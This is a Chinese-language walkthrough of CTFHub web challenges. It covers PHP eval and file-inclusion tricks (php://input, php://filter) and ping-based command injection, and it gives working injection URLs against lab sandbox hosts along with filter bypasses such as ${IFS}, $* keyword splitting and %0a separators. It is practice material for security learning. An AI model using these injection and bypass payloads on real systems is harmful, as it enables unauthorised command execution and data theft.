0X01eval执行
# 进来我们直接看到了代码,大致意思就是传入一个参数cmd
# 所以我们直接使用蚁剑进行连接,看一下能否成功
# 接下来我们直接找出flag
0X02文件包含
# 打开页面发现一大堆代码
大体意思是如果file中没有flag字符串就执行下面的include $_GET["file"]否则就输出Hacker。
是将ctfhub传的参数使用php执行的,题目的意思也是让用shell木马
# 所以我们直接使用hackber
payload:?file=shell.txt
post传参:ctfhub=system("ls"); 查看当前目录
# 然后再上一级目录,不断尝试发现成功
ctfhub=system("ls ../../../");
# 由于我们现在在根目录下,所以直接cat /flag
0X03php://input
# 发现页面是代码,我们解析了一下发现大体的意思是:
如果有就输出hacker
没有就进行include
PHPinfo当中也表明php://input可以用
# 所以我们通过抓包来构造
payload:?file=php://input
post传参:<?php system("ls"); ?> 查看当前目录
# 没有发现,再上一级
# 还是没有发现,继续上一级
# 还是没有flag,继续上一级
# 发现flag,我们直接在根目录下查看falg的内容
0X04远程包含
# 这页面一看就有文件包含
# 检查一下phpinfo的环境是否有问题,发现allow开关都是打开的
# 因此我们直接使用hackber
payload:?file=php://input
post传参:<?php system("ls"); ?> 查看当前目录
# 发现hackbar整不出来,所以我们只能使用burp抓包测试
# 因此,我们只需要cat /flag就可以拿捏了
0X05读取源代码
# 看一下页面,发现和前面差不多,开整
# 既然要等于php:// 和上面的题一样,我们直接梭哈
# 呀,发现闹不成,那我们就得引用伪协议,开始php://filter/resource=/flag干
# 好家伙,直接拿下
0X06命令注入
# 继续看页面的源代码
大概意思是检查用户输入的 GET 请求,判断用户是否输入了 ip 信息。如果输入了 ip 信息,则使用用户输入的这个 ip 数据执行一个 shell 命令 "ping -c 4"
# 输入127.0.0.1,发现可以正常回显
# 在url中加上管道符和ls 发现两个文件夹
http://challenge-dbbf1149e465c434.sandbox.ctfhub.com:10800/?ip=127.0.0.1 | ls
# 所以我们直接访问,因为index.php就是这个页面,所以我们访问另一个
http://challenge-dbbf1149e465c434.sandbox.ctfhub.com:10800/?ip=127.0.0.1 | cat 28676317279045.php
# 发现页面什么也没有,我们看一下源代码
成功拿捏!!!
0X07过滤cat
# 查看页面,我们直接输入127.0.0.1看一下
# 没啥问题,那我们使用管道符查看一下文件
http://challenge-e24162a8e64e3beb.sandbox.ctfhub.com:10800/?ip=127.0.0.1 | ls
# 又发现这个可疑的家伙,可是我们这题把cat给过滤了 既然知道是linux系统,我们就可以使用其他方法去查看文件
http://challenge-e24162a8e64e3beb.sandbox.ctfhub.com:10800/?ip=127.0.0.1 | more flag_28930242863161.php
# 发现又看不了flag,只能继续查看页面源码
0X08过滤空格
# 还是查看页面然后输入127.0.0.1
# 发现还是没啥问题,但是过滤了空格,所以我们得找一个替换看一下文件
http://challenge-f07b17a6d186a83d.sandbox.ctfhub.com:10800/?ip=127.0.0.1|ls
//常见方法有< 、< >、%20(space)、%09(tab)、\$IFS\$9、 \${IFS}、$IFS等
# 找到了flag,所以我们直接使用绕过方法来查看
http://challenge-f07b17a6d186a83d.sandbox.ctfhub.com:10800/?ip=127.0.0.1|cat%3Cflag_64452980321037.php
# 无法查看页面,直接查看源代码得出flag
0X09过滤目录分隔符
# 查看页面我们还是输入127.0.0.1
# 没啥大问题 我们查看发现有一个目录,所以我们得进这个目录后在操作
# 既然目录分隔符让过滤了,所以我们就一步一步执行
http://challenge-2c4c30ba2ea7d9a8.sandbox.ctfhub.com:10800/?ip=127.0.0.1|ls;cd flag_is_here
# 下一步我们就要看它目录下的文件了
http://challenge-2c4c30ba2ea7d9a8.sandbox.ctfhub.com:10800/?ip=127.0.0.1|ls;cd%20flag_is_here;ls
# 然后再进行查看flag
http://challenge-2c4c30ba2ea7d9a8.sandbox.ctfhub.com:10800/?ip=127.0.0.1|ls;cd%20flag_is_here;ls;cat%20flag_147411187822789.php
# 看源码然发现flag
0X0a过滤运算符
# 查看页面然后输入127.0.0.1
# 没大问题,过滤运算符,我们试一下;行不行
http://challenge-b07dfe86254f8b96.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls
# 发现可以,那么直接看文件flag就可以了
http://challenge-b07dfe86254f8b96.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat%20flag_55811578117307.php
# 继续看源码出结果
0X0b综合过滤练习
# 这道题提示我们过滤前几个小结的,我们大概就知道怎么回事了
# ls没过滤,但是过滤;,所以我们使用%0a来代替
http://challenge-9810a64820389800.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0als
# ls执行成功,看到了flag的位置,这里cat被过滤,可以使用nl之类的代替,空格可以用${IFS}代替,在没有定义的情况下,$*在shell命令执行下为空,url编码中,%0a是换行符,%0d是回车符,可以用这两个进行命令拼接。
http://challenge-9810a64820389800.sandbox.ctfhub.com:10800/?ip=%0Als${IFS}fl$*a$*g_is_here#
# 现在我们要查看flag
http://challenge-9810a64820389800.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0Acd${IFS}fl$*a$*g_is_here%0anl${IFS}f$*la$*g_5740333213378.php#
# 现在我们要查看flag
http://challenge-9810a64820389800.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0Acd${IFS}fl$*a$*g_is_here%0anl${IFS}f$*la$*g_5740333213378.php#
# 还是得看源码
好小子,离成功又近一步!!!